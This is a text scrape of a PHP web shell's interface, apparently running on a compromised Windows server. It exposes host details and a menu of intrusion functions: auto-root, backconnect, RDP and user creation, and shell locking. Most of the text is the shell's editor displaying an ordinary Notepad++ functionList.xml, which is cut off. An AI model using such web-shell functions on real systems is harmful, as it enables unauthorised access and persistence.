Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
notepad++ /
[ HOME SHELL ]
Name
Size
Permission
Action
localization
[ DIR ]
drwxrwxrwx
plugins
[ DIR ]
drwxrwxrwx
themes
[ DIR ]
drwxrwxrwx
updater
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
SciLexer.dll
1.37
MB
-rw-rw-rw-
change.log
626
B
-rw-rw-rw-
config.xml
5.49
KB
-rw-rw-rw-
contextMenu.xml
3.51
KB
-rw-rw-rw-
doLocalConf.xml
0
B
-rw-rw-rw-
functionList.xml
56.53
KB
-rw-rw-rw-
langs.model.xml
275.28
KB
-rw-rw-rw-
langs.xml
275.28
KB
-rw-rw-rw-
notepad++.exe
2.83
MB
-rwxrwxrwx
readme.txt
1.42
KB
-rw-rw-rw-
session.xml
2.43
KB
-rw-rw-rw-
shortcuts.xml
1.55
KB
-rw-rw-rw-
stylers.model.xml
114.89
KB
-rw-rw-rw-
stylers.xml
114.89
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functionList.xml
<?xml version="1.0" encoding="UTF-8" ?> <!-- ==========================================================================\ | | To learn how to make your own language parser, please check the following | link: | http://notepad-plus-plus.org/features/function-list.html | \=========================================================================== --> <NotepadPlus> <functionList> <associationMap> <!-- langID: Don't use L_JS (19) use L_JAVASCRIPT (58) instead! Don't use L_USER and L_EXTERNAL, use extension or UDL name association instead! L_ADA = 42 | L_DIFF = 33 | L_LISP = 30 | L_SCHEME = 31 L_ASCII = 14 | L_EXTERNAL = 60 | L_LUA = 23 | L_SEARCHRESULT = 47 L_ASM = 32 | L_FLASH = 27 | L_MAKEFILE = 10 | L_SMALLTALK = 37 L_ASP = 16 | L_FORTRAN = 25 | L_MATLAB = 44 | L_SQL = 17 L_AU3 = 40 | L_FORTRAN_77 = 59 | L_NSIS = 28 | L_TCL = 29 L_BASH = 26 | L_GUI4CLI = 51 | L_OBJC = 5 | L_TEX = 24 L_BATCH = 12 | L_HASKELL = 45 | L_PASCAL = 11 | L_TEXT = 0 L_C = 2 | L_HTML = 8 | L_PERL = 21 | L_USER = 15 L_CAML = 41 | L_INI = 13 | L_PHP = 1 | L_VB = 18 L_CMAKE = 48 | L_INNO = 46 | L_POWERSHELL = 53 | L_VERILOG = 43 L_COBOL = 50 | L_JAVA = 6 | L_PROPS = 34 | L_VHDL = 38 L_COFFEESCRIPT = 56 | L_JAVASCRIPT = 58 | L_PS = 35 | L_XML = 9 L_CPP = 3 | L_JS = 19 | L_PYTHON = 22 | L_YAML = 49 L_CS = 4 | L_JSON = 57 | L_R = 54 | L_CSS = 20 | L_JSP = 55 | L_RC = 7 | L_D = 52 | L_KIX = 39 | L_RUBY = 36 | 0 = L_TEXT | 16 = L_ASP | 32 = L_ASM | 48 = L_CMAKE 1 = L_PHP | 17 = L_SQL | 33 = L_DIFF | 49 = L_YAML 2 = L_C | 18 = L_VB | 34 = L_PROPS | 50 = L_COBOL 3 = L_CPP | 19 = L_JS | 35 = L_PS | 51 = L_GUI4CLI 4 = L_CS | 20 = L_CSS | 36 = L_RUBY | 52 = L_D 5 = L_OBJC | 21 = L_PERL | 37 = L_SMALLTALK | 53 = L_POWERSHELL 6 = L_JAVA | 22 = L_PYTHON | 38 = L_VHDL | 54 = L_R 7 = L_RC | 23 = L_LUA | 39 = L_KIX | 55 = L_JSP 8 = L_HTML | 24 = L_TEX | 40 = L_AU3 | 56 = L_COFFEESCRIPT 9 = L_XML | 25 = L_FORTRAN | 41 = L_CAML | 57 = L_JSON 10 = L_MAKEFILE | 26 = L_BASH | 42 = L_ADA | 58 = L_JAVASCRIPT 11 = L_PASCAL | 27 = L_FLASH | 43 = L_VERILOG | 59 = L_FORTRAN_77 12 = L_BATCH | 28 = L_NSIS | 44 = L_MATLAB | 60 = L_EXTERNAL 13 = L_INI | 29 = L_TCL | 45 = L_HASKELL | 14 = L_ASCII | 30 = L_LISP | 46 = L_INNO | 15 = L_USER | 31 = L_SCHEME | 47 = L_SEARCHRESULT | if langID cannot be found above, you can set the file extensions ... <association id="my_parser_id" ext=".my_parser_ext1" /> <association id="my_parser_id" ext=".my_parser_ext2" /> and for User Defined Languages (UDL's) use ... <association id="my_parser_id" userDefinedLangName="My UDL Name" /> Note(s): Not required, just a guide. Suffix Indicates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _class parser has a class part only _function parser has a function part only _syntax parser has both a class and function part --> <!-- ======================================================================== --> <!-- ___ parserID --> <!-- V --> <association id= "php_syntax" langID= "1" /> <association id= "c_function" langID= "2" /> <association id= "cplusplus_syntax" langID= "3" /> <association id= "csharp_class" langID= "4" /> <association id= "java_syntax" langID= "6" /> <association id= "xml_node" langID= "9" /> <!-- <association id="functionlist_syntax" langID= "9" /> --> <association id= "batch_label" langID="12" /> <association id= "ini_section" langID="13" /> <association id= "perl_function" langID="21" /> <association id= "python_syntax" langID="22" /> <association id= "bash_function" langID="26" /> <association id= "nsis_syntax" langID="28" /> <association id= "assembly_subroutine" langID="32" /> <association id= "ruby_syntax" langID="36" /> <association id= "autoit3_function" langID="40" /> <association id= "innosetup_syntax" langID="46" /> <association id= "powershell_function" langID="53" /> <association id= "javascript_function" langID="58" /> <!-- ======================================================================== --> <association id= "krl_function" userDefinedLangName="KRL" /> <association id= "krl_function" ext=".src" /> <association id= "krl_function" ext=".sub" /> <!-- ======================================================================== --> <association id= "sinumerik_function" userDefinedLangName="Sinumerik" /> <association id= "sinumerik_function" ext=".arc" /> <!-- ======================================================================== --> <association id= "universe_basic" userDefinedLangName="UniVerse BASIC" /> <association id= "universe_basic" ext=".bas" /> <!-- ======================================================================== --> </associationMap> <parsers> <!-- ========================================================= [ PHP ] --> <!-- PHP - Personal Home Page / PHP Hypertext Preprocessor --> <parser id ="php_syntax" displayName="PHP" commentExpr="(?s:/\*.*?\*/)|(?m-s://.*?$)" > <classRange mainExpr ="^\s*(class|abstract\s+class|final\s+class)[\t\x20]+[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*(\s*|\s*(extends|implements|(extends\s+(\\|[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*)+\s+implements))\s+(\,\s*|(\\|[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*))+\s*)?\{" openSymbole ="\{" closeSymbole="\}" > <className> <nameExpr expr="(class|abstract\s+class|final\s+class)\s+\w+" /> <nameExpr expr="\s+\w+\Z" /> <nameExpr expr="\w+\Z" /> </className> <function mainExpr="^\s*((static|public|protected|private|final)*(\s+(static|public|protected|private|final))+\s+)?(function\s+)+(\w+(\s+\w+)?(\s+|\*\s+|\s+\*|\s+\*\s+))?(\w+\s*::)?(?!(if|while|for|switch))[\w~]+\s*\([^\{]*\{" > <functionName> <funcNameExpr expr="(?!(if|while|for|switch))\w+\s*\([^\{]*" /> <!-- comment out the following node to display the method with parameters --> <funcNameExpr expr="(?!(if|while|for|switch))\w+" /> </functionName> </function> </classRange> <function mainExpr="^\s*function\s+\w+\(" > <functionName> <nameExpr expr="(?!(if|while|for))\w+\s*\(" /> <nameExpr expr="(?!(if|while|for))\w+" /> </functionName> <className> <nameExpr expr="\w+(?=\s*::)" /> </className> </function> </parser> <!-- =========================================================== [ C ] --> <parser displayName="C" id ="c_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?s:\x2F\x2A.*?\x2A\x2F) # Multi Line Comment | (?m-s:\x2F{2}.*$) # Single Line Comment | (?s:\x22(?:[^\x22\x5C]|\x5C.)*\x22) # String Literal - Double Quoted | (?s:\x27(?:[^\x27\x5C]|\x5C.)*\x27) # String Literal - Single Quoted " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?: # Declaration specifiers \b (?: (?-i:auto|register|static|extern|typedef) # Storage class specifier | (?: # Type specifier (?-i:void|char|short|int|long|float|double|(?:un)?signed) | (?-i:struct|union|enum) \s+ (?&VALID_ID) # Struct, Union or Enum Specifier (simplified) | (?&VALID_ID) # Type-definition name ) | (?'TYPE_QUALIFIER'(?-i:const|volatile)) ) \b \s* )* (?'DECLARATOR' (?'POINTER' \* \s* (?: \b(?&TYPE_QUALIFIER)\b \s* )* (?:(?&POINTER))? # Boost::Regex 1.58-1.59 do not correctly handle quantifiers on subroutine calls )? (?: # 'DIRECT_DECLARATOR' \s* (?'VALID_ID' # valid identifier, use as subroutine \b(?!(?-i: auto | break | c(?:ase|har|on(?:st|ntinue)) | d(?:efault|o(?:uble)?) | e(?:lse|num|xtern) | f(?:loat|or) | goto | i(?:f|n(?:t|line)) | long | while | re(?:gister|strict|turn) | s(?:hort|i(?:gned|zeof)|t(?:atic|ruct)|witch) | typedef | un(?:ion|signed) | vo(?:id|latile) | _(?: A(?:lignas|lignof|tomic) | Bool | Complex | Generic | Imaginary | Noreturn | Static_assert | Thread_local ) )\b) # keywords, not to be used as identifier [A-Za-z_\x7F-\xFF][\w\x7F-\xFF]* # valid character combination for identifiers ) | \s*\( (?&DECLARATOR) \) | \s*(?&VALID_ID) \s*\[ [^[\];{]*? \] | \s*(?&VALID_ID) \s*\( [^();{]*? \) ) \s* ) (?=\{) # start of function body " > <functionName> <nameExpr expr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) [A-Za-z_\x7F-\xFF][\w\x7F-\xFF]* \s*\( # start of parameters (?s:.*?) # whatever, until... \) # end of parameters " /> <!-- comment out the following node to display the method with its parameters --> <!-- <nameExpr expr="[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*" /> --> </functionName> </function> </parser> <!-- ========================================================= [ C++ ] --> <parser displayName="C++" id ="cplusplus_syntax" commentExpr="(?s:/\*.*?\*/)|(?m-s://.*?$)" > <classRange mainExpr ="^[\t\x20]*(class|struct)[\t\x20]+\w+\s*(final)?\s*(:\s*(public|protected|private)\s+\w+\s*)?\{" openSymbole ="\{" closeSymbole="\}" > <className> <nameExpr expr="(class|struct)[\t\x20]+\w+" /> <nameExpr expr="[\t\x20]+\w+" /> <nameExpr expr="\w+" /> </className> <function mainExpr="^[\t\x20]*((static|const|virtual)\s+)?(\w+(\s+\w+)?(\s+|(\*|\*\*|&)\s+|\s+(\*|\*\*|&)|\s+(\*|\*\*|&)\s+))?(\w+\s*::)?(?!(if|while|for|switch))[\w~]+\s*\([^\)\(]*\)(\s*const\s*)?(\s*(final|override|final\s*override|override\s*final)\s*)?[\n\s]*\{" > <functionName> <funcNameExpr expr="(?!(if|while|for|switch))[\w~]+\s*\(" /> <funcNameExpr expr="(?!(if|while|for|switch))[\w~]+" /> </functionName> </function> </classRange> <function mainExpr="^[\t\x20]*((static|const|virtual)\s+)?\w+(\s+\w+)?(\s+|(\*|\*\*|&)\s+|\s+(\*|\*\*|&)|\s+(\*|\*\*|&)\s+)(\w+\s*::)?(?!(if|while|for))\w+\s*\([^\)\(]*\)(\s*const\s*)?[\n\s]*\{" > <functionName> <nameExpr expr="(?!(if|while|for))\w+\s*\(" /> <nameExpr expr="(?!(if|while|for))\w+" /> </functionName> <className> <nameExpr expr="\w+(?=\s*::)" /> </className> </function> </parser> <!-- ========================================================== [ C# ] --> <!-- | Based on: | http://sourceforge.net/p/notepad-plus/patches/613/ \--> <parser displayName="C#" id ="csharp_class" commentExpr="(?s:/\*.*?\*/)|(?m-s://.*?$)" > <classRange mainExpr ="^[\t\x20]*((public|protected|private|internal)\s+)?(\w+\s*)?(class|struct|interface)[\t\x20]+[^\{]+\{" openSymbole ="\{" closeSymbole="\}" > <className> <nameExpr expr="(class|struct|interface)[\t\x20]+\w+" /> <nameExpr expr="[\t\x20]+\w+" /> <nameExpr expr="\w+" /> </className> <function mainExpr="^[^\S\r\n]*(?<modifier1>(?:public|protected|internal|private)\s*)?(?<modifier2>(?:new|static|virtual|sealed|override|abstract|extern)\s*)?(partial\s*)?(?<type>(?!(return|if|else))\w+(?<genericType><[\w,\s<>]+>)?\s+)(?<name>\w+(?<genericNameType><[\w,\s<>]+>)?\s?)\((?<params>[\w\s,<>\[\]\:=\.]*)\)(?<ctorChain>\s*\:\s*(?:base|this)\s*\((?<ctorParams>[\w\s,<>\[\]\:=\.]*)\))?[\w\s<>\:,\(\)\[\]]*(?:\{|;)" > <functionName> <funcNameExpr expr="(\w+(<[\w,\s<>]+>)?\s?)\(" /> <funcNameExpr expr="(\w+(<[\w,\s<>]+>)?\s?)" /> </functionName> </function> </classRange> </parser> <!-- ======================================================== [ Java ] --> <!-- | Based on: | https://notepad-plus-plus.org/community/topic/12691/function-list-with-java-problems \--> <parser displayName="Java" id ="java_syntax" > <classRange mainExpr ="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m)^[\t\x20]* # leading whitespace (?: (?-i: abstract | final | native | p(?:rivate|rotected|ublic) | s(?:tatic|trictfp|ynchronized) | transient | volatile | @[A-Za-z_]\w* # qualified identifier (?: # consecutive names... \. # ...are dot separated [A-Za-z_]\w* )* ) \s+ )* (?-i:class|enum|@?interface) \s+ (?'DECLARATOR' (?'VALID_ID' # valid identifier, use as subroutine \b(?!(?-i: a(?:bstract|ssert) | b(?:oolean|reak|yte) | c(?:ase|atch|har|lass|on(?:st|tinue)) | d(?:efault|o(?:uble)?) | e(?:lse|num|xtends) | f(?:inal(?:ly)?|loat|or) | goto | i(?:f|mp(?:lements|ort)|nstanceof|nt(?:erface)?) | long | n(?:ative|ew) | p(?:ackage|rivate|rotected|ublic) | return | s(?:hort|tatic|trictfp|uper|witch|ynchronized) | th(?:is|rows?)|tr(?:ansient|y) | vo(?:id|latile) | while )\b) # keywords, not to be used as identifier [A-Za-z_]\w* # valid character combination for identifiers ) (?: \s*\x3C # start-of-template indicator... (?'GENERIC' # ...match first generic, use as subroutine \s* (?: (?&DECLARATOR) # use named generic | \? # or unknown ) (?: # optional type extension \s+(?-i:extends|super) \s+(?&DECLARATOR) (?: # multiple bounds... \s+\x26 # ...are ampersand separated \s+(?&DECLARATOR) )* )? (?: # match consecutive generics objects... \s*, # ...are comma separated (?&GENERIC) )? ) \s*\x3E # end-of-template indicator )? (?: # package and|or nested classes... \. # ...are dot separated (?&DECLARATOR) )? ) (?: # optional object extension \s+(?-i:extends) \s+(?&DECLARATOR) (?: # consecutive objects... \s*, # ...are comma separated \s*(?&DECLARATOR) )* )? (?: # optional object implementation \s+(?-i:implements) \s+(?&DECLARATOR) (?: # consecutive objects... \s*, # ...are comma separated \s*(?&DECLARATOR) )* )? \s*\{ # whatever, up till start-of-body indicator " openSymbole ="\{" closeSymbole="\}" > <className> <nameExpr expr="(?-i:class|enum|@?interface)\s+\K\w+(?:\s*\x3C.*?\x3E)?" /> </className> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) ^[\t\x20]* # leading whitespace (?: (?-i: abstract | final | native | p(?:rivate|rotected|ublic) | s(?:tatic|trictfp|ynchronized) | transient | volatile | @[A-Za-z_]\w* # qualified identifier (?: # consecutive names... \. # ...are dot separated [A-Za-z_]\w* )* ) \s+ )* (?: \s*\x3C # start-of-template indicator (?&GENERIC) \s*\x3E # end-of-template indicator )? \s* (?'DECLARATOR' [A-Za-z_]\w* # (parent) type name (?: # consecutive sibling type names... \. # ...are dot separated [A-Za-z_]\w* )* (?: \s*\x3C # start-of-template indicator (?'GENERIC' # match first generic, use as subroutine \s* (?: (?&DECLARATOR) # use named generic | \? # or unknown ) (?: # optional type extension \s+(?-i:extends|super) \s+(?&DECLARATOR) (?: # multiple bounds... \s+\x26 # ...are ampersand separated \s+(?&DECLARATOR) )* )? (?: # consecutive generics objects... \s*, # ...are comma separated (?&GENERIC) )? ) \s*\x3E # end-of-template indicator )? (?: # package and|or nested classes... \. # ...are dot separated (?&DECLARATOR) )? (?: # optional compound type... \s*\[ # ...start-of-compound indicator \s*\] # ...end-of-compound indicator )* ) \s+ (?'VALID_ID' # valid identifier, use as subroutine \b(?!(?-i: a(?:bstract|ssert) | b(?:oolean|reak|yte) | c(?:ase|atch|har|lass|on(?:st|tinue)) | d(?:efault|o(?:uble)?) | e(?:lse|num|xtends) | f(?:inal(?:ly)?|loat|or) | goto | i(?:f|mp(?:lements|ort)|nstanceof|nt(?:erface)?) | long | n(?:ative|ew) | p(?:ackage|rivate|rotected|ublic) | return | s(?:hort|tatic|trictfp|uper|witch|ynchronized) | th(?:is|rows?)|tr(?:ansient|y) | vo(?:id|latile) | while )\b) # keywords, not to be used as identifier [A-Za-z_]\w* # valid character combination for identifiers ) \s*\( # start-of-parameters indicator (?'PARAMETER' # match first parameter, use as subroutine \s*(?-i:final\s+)? (?&DECLARATOR) \s+(?&VALID_ID) # parameter name (?: # consecutive parameters... \s*, # ...are comma separated (?&PARAMETER) )? )? \) # end-of-parameters indicator (?: # optional exceptions \s*(?-i:throws) \s+(?&VALID_ID) # first exception name (?: # consecutive exception names... \s*, # ...are comma separated \s*(?&VALID_ID) )* )? [^{;]*\{ # start-of-function-body indicator " > <functionName> <funcNameExpr expr="\w+(?=\s*\()" /> </functionName> </function> </classRange> </parser> <!-- ========================================================= [ XML ] --> <!-- XML - eXtensible Markup Language --> <parser displayName="XML Node" id ="xml_node" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?:\x3C!--(?:[^\-]|-(?!-\x3E))*--\x3E) # Multi Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) \x3C # begin of node (?: (?-i:\?XML) # only name of root node is allowed to start with a question mark | \w+(?::\w+)? # a node name can contain a colon e.g. `xs:schema` ) (?: # match attributes \s+ # at least one whitespace before attribute-name \w+(?::\w+)? # an attribute name can contain a colon e.g. `xmlns:xs` \h*=\h* # name-value separator can be surrounded by blanks (?: # quoted attribute value, embedded escaped quotes allowed... \x22(?:[^\x22\x5C]|\x5C.)*?\x22 # ...double quoted... | \x27(?:[^\x27\x5C]|\x5C.)*?\x27 # ...single quoted ) )+ # only match nodes with at least one attribute " > <functionName> <nameExpr expr="[^\x3C]*" /> </functionName> </function> </parser> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Show each FunctionList `association`-node as a leaf in an | `assiociationMap` branch and each `parser`-node as a leaf in a | `parsers` branch of the FunctionList tree \--> <parser displayName="XML of Function List" id ="functionlist_syntax" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?:\x3C!--(?:[^\-]|-(?!-\x3E))*--\x3E) # Multi Line Comment " > <classRange mainExpr ="(?xs) # can span multiple lines \x3C(?'COMPOUND'associationMap|parsers)\x3E # begin of a `associationMap` or `parsers`-node .*? # include anything between the node`s tags \x3C/\k'COMPOUND'\x3E # end of the applicable node " > <!-- | Use the node's name as label for the branch \--> <className> <nameExpr expr="\x3C\w+\x3E" /> <nameExpr expr="\w+" /> </className> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) \x3C(?:association|parser) # begin of a `association` or `parser`-node (?: # match attributes \s+\w+ # at least one whitespace before attribute-name \h*=\h* # name-value separator can be surrounded by blanks (?: # quoted attribute value, embedded escaped quotes allowed... \x22(?:[^\x22\x5C]|\x5C.)*?\x22 # ...double quoted... | \x27(?:[^\x27\x5C]|\x5C.)*?\x27 # ...single quoted ) )+ # only match nodes with at least one attribute \s*/?\x3E # end of the node or node-tag resp. " > <!-- | For `association`-nodes use its `id`-attribute value as its leaf | name and for `parser`-nodes use its `displayName`-attribute value. | NOTE: to be able to use the node's `displayName`-attribute, | make sure it's defined before the `id`-attribute. \--> <functionName> <funcNameExpr expr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?:displayName|\bid) \h*=\h* (?: \x22(?:[^\x22\x5C]|\x5C.)*?\x22 | \x27(?:[^\x27\x5C]|\x5C.)*?\x27 ) " /> <funcNameExpr expr="(?<=[\x22\x27])(?:[^\x22\x27\x5C]|\x5C.)*?(?=[\x22\x27])" /> </functionName> </function> </classRange> <!-- | Fallback: show each `parser`-node as a leaf of the root in the FunctionList tree \--> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) \x3Cparser # begin of a `parser`-node (?: # match attributes \s+\w+ # at least one whitespace before attribute-name \h*=\h* # name-value separator can be surrounded by blanks (?: # quoted attribute value, embedded escaped quotes allowed.. \x22(?:[^\x22\x5C]|\x5C.)*?\x22 # ...double quoted... | \x27(?:[^\x27\x5C]|\x5C.)*?\x27 # ...single quoted ) )+ # only match nodes with at least one attribute \s*/?\x3E # end of the `parser`-node-tag " > <!-- | Use the `displayName`-attribute value as leaf name. \--> <functionName> <nameExpr expr="displayName\h*=\h*(?:\x22(?:[^\x22\x5C]|\x5C.)*?\x22|\x27(?:[^\x27\x5C]|\x5C.)*?\x27)" /> <nameExpr expr="(?<=[\x22\x27])(?:[^\x22\x27\x5C]|\x5C.)*?(?=[\x22\x27])" /> </functionName> </function> </parser> <!-- ================================ [ Batch / Command Shell Script ] --> <parser displayName="Batch / Command Shell Script" id ="batch_label" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s:(?i:REM)(?:\h.+)?$) # Single Line Comment 1 | (?m-s::{2}.*$) # Single Line Comment 2 " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s) # enforce strict line by line search ^ # label starts at the beginning of a line,... \h* # ...can be preceded by blank characters and : # ...starts with a colon \K # keep the text matched so far, out of the overall match \w # a label name has to start with a word character,... [\w.\-]+ # ...the remainder of the name can contain dots and minus signs and \b # ...ends at a word boundary i.e. discard any trailing characters " /> </parser> <!-- ========================================= [ Initialisation File ] --> <!-- File format used for: .INF / .INI / .REG / .editorconfig --> <parser displayName="INI Section" id ="ini_section" commentExpr="(?x) (?m-s:[;\#].*$) # Single Line Comment " > <function mainExpr="^\h*[\["][\w*.;\x20()\-]+["\]]" > <functionName> <nameExpr expr="[^[\]"]*" /> </functionName> </function> </parser> <!-- ======================================================== [ PERL ] --> <!-- PERL - Practical Extraction and Reporting Language --> <parser displayName="PERL" id ="perl_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s:\x23.*$) # Single Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) sub \s+ [A-Za-z_]\w* \s* \( [^()]* \) \s*\{ # start of class body " > <functionName> <nameExpr expr="(?:sub\s+)?\K[A-Za-z_]\w*" /> </functionName> <className> <nameExpr expr="[A-Za-z_]\w*(?=\s*:{2})" /> </className> </function> </parser> <!-- ====================================================== [ Python ] --> <parser displayName="Python" id ="python_syntax" commentExpr="(?s:'''.*?''')|(?m-s:#.*?$)" > <classRange mainExpr ="(?<=^class\x20).*?(?=\n\S|\Z)" > <className> <nameExpr expr="\w+(?=[\(|:])" /> </className> <function mainExpr="(?<=def\x20).+?(?=:)" > <functionName> <funcNameExpr expr=".*" /> </functionName> </function> </classRange> <function mainExpr="(?<=def\x20).+?(?=:)" > <functionName> <nameExpr expr=".*" /> </functionName> </function> </parser> <!-- ======================================================== [ Bash ] --> <!-- BASH - Bourne-Again Shell --> <parser displayName="Bash" id ="bash_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?-s:(?:^\x23[^!]|^\h*\x23|\h+\x23).*$) # Single Line Comment | (?s:\x22(?:[^\x22\x5C]|\x5C.)*\x22) # String Literal - Double Quoted | (?s:\x27[^\x27]*\x27) # String Literal - Single Quoted | (?s: # Here Document (Type 1) and Here String \x3C{2,3}\h*(?'HD1ID'[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*\b)[^\r\n]*\R (?s:.*?) \R\k'HD1ID' # close with exactly the same identifier, in the first column ) | (?s: # Here Document (Type 2) \x3C{2}-\h*(?'HD2ID'[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*\b)[^\r\n]*\R (?s:.*?) \R\h*\k'HD2ID' # close with exactly the same identifier ) " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m)^\h* # optional leading whitespace (?: (?-i:function\s+) (?'VALID_ID' # valid identifier, use as subroutine \b(?!(?-i: do(?:ne)? | el(?:if|se)|esac | f(?:i|or|unction) | i[fn] | select | t(?:hen|ime) | until | while )\b) # keywords, not to be used as identifier [A-Za-z_\x7F-\xFF][\w\x7F-\xFF]* # valid character combination for identifiers ) (?:\s*\([^)]*?\))? # parentheses and parameters optional | (?&VALID_ID) \s*\([^)]*?\) # parentheses required, parameters optional ) [^{;]*?\{ # no semi-colon until start of body " > <functionName> <nameExpr expr="\b(?!function\b)\w+(?:\s*\([^)]*\))?" /> <!-- comment out the following node to display the function with its parameters --> <nameExpr expr="\w+(?=\b)" /> </functionName> </function> </parser> <!-- ======================================================== [ NSIS ] --> <!-- NSIS - Nullsoft Scriptable Install System --> <parser displayName="NSIS" id ="nsis_syntax" > <classRange mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) \b(?-i:SectionGroup)\b # open indicator (?s:.*?) \b(?-i:SectionGroupEnd)\b # close indicator " > <className> <nameExpr expr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s) SectionGroup\h+(?-i:/e\h+)? # start indicator and its optional switch \K # keep the text matched so far, out of the overall match .+$ # whatever, till end-of-line " /> <nameExpr expr="[^\r\n\x22]*" /> </className> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m) ^(?'INDENT'\h*) # optional leading whitespace at start-of-line (?: (?-i:!macro) \h+ # required whitespace separator \K # keep the text matched so far, out of the overall match [^\r\n]*$ # whatever, until end-of-line | (?'TAG'(?-i:Function|PageEx|Section)) \h+ # required whitespace separator (?-i:/o\h+)? # optional switch \K # keep the text matched so far, out of the overall match (?s: .*? # whatever, (?= # up till... ^\k'INDENT' # ...equal indent at start-of-line for... \k'TAG'End\b # ...matching close indicator ) ) | \x24\x7B # start-of-open-element indicator (?'ID'[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*) \x7D # end-of-open-element indicator \h+ # required whitespace separator (?-i:/o\h+)? # optional switch \K # keep the text matched so far, out of the overall match (?s: .*? # whatever, (?= # up till... ^\k'INDENT' # ...equal indent at start-of-line for... \x24\x7B\k'ID'End\x7D # ...matching close indicator ) ) ) " > <functionName> <funcNameExpr expr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m) [^\r\n]+? # whatever, (?= # up till... \h* # ...optional whitespace and... (?: \x2F\x2A # ...start of multi line comment or... | [\x23;] # ...start of single line comment or... | $ # ...end-of-line ) ) " /> </functionName> </function> </classRange> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m) ^(?'INDENT'\h*) # optional leading whitespace at start-of-line (?: (?-i:!macro) \h+ # required whitespace separator \K # keep the text matched so far, out of the overall match [^\r\n]*$ # whatever, until end-of-line | (?'TAG'(?-i:Function|PageEx|Section)) \h+ # required whitespace separator (?-i:/o\h+)? # optional switch \K # keep the text matched so far, out of the overall match (?s: .*? # whatever, (?= # up till... ^\k'INDENT' # ...equal indent at start-of-line for... \k'TAG'End\b # ...matching close indicator ) ) | \x24\x7B # start-of-open-element indicator (?'ID'[A-Za-z_\x7F-\xFF][\w\x7F-\xFF]*) \x7D # end-of-open-element indicator \h+ # required whitespace separator (?-i:/o\h+)? # optional switch \K # keep the text matched so far, out of the overall match (?s: .*? # whatever, (?= # up till... ^\k'INDENT' # ...equal indent at start-of-line for... \x24\x7B\k'ID'End\x7D # ...matching close indicator ) ) ) " > <functionName> <nameExpr expr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m) [^\r\n]+? # whatever, (?= # up till... \h* # ...optional whitespace and... (?: \x2F\x2A # ...start of multi line comment or... | [\x23;] # ...start of single line comment or... | $ # ...end-of-line ) ) " /> </functionName> </function> </parser> <!-- ==================================================== [ Assembly ] --> <parser displayName="Assembly" id ="assembly_subroutine" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s:;.*$) # Single Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m)^\h* # optional leading whitespace \K # keep the text matched so far, out of the overall match [A-Za-z_$][\w$]* # valid character combination for labels (?=:) # up till the colon " /> </parser> <!-- ======================================================== [ Ruby ] --> <parser displayName="Ruby" id ="ruby_syntax" > <!-- within a class--> <classRange mainExpr ="(?<=^class\x20).*?(?=\n\S|\Z)" > <className> <nameExpr expr="\w+" /> </className> <function mainExpr="^\s*def\s+\w+" > <functionName> <funcNameExpr expr="(?<=def\s)\w+" /> </functionName> </function> </classRange> <!-- without class--> <function mainExpr="^\s*def\s+\w+" > <functionName> <nameExpr expr="(?<=def\s)\w+" /> </functionName> </function> </parser> <!-- ===================================================== [ AutoIt3 ] --> <!-- | Based on: | https://sourceforge.net/p/notepad-plus/discussion/331753/thread/5d9bb881/#e86e \--> <parser displayName="AutoIt3" id ="autoit3_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?is:\x23cs.*?\x23ce) # 